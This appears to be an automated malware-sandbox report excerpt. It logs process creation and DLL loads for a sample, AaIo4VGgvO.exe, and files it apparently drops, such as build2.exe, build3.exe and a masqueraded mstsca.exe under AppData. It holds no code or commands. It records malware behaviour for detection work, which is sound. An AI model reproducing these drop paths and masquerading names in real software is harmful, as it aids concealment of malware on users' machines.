Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: browcli.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build3.exe	Section loaded: ntmarta.dll
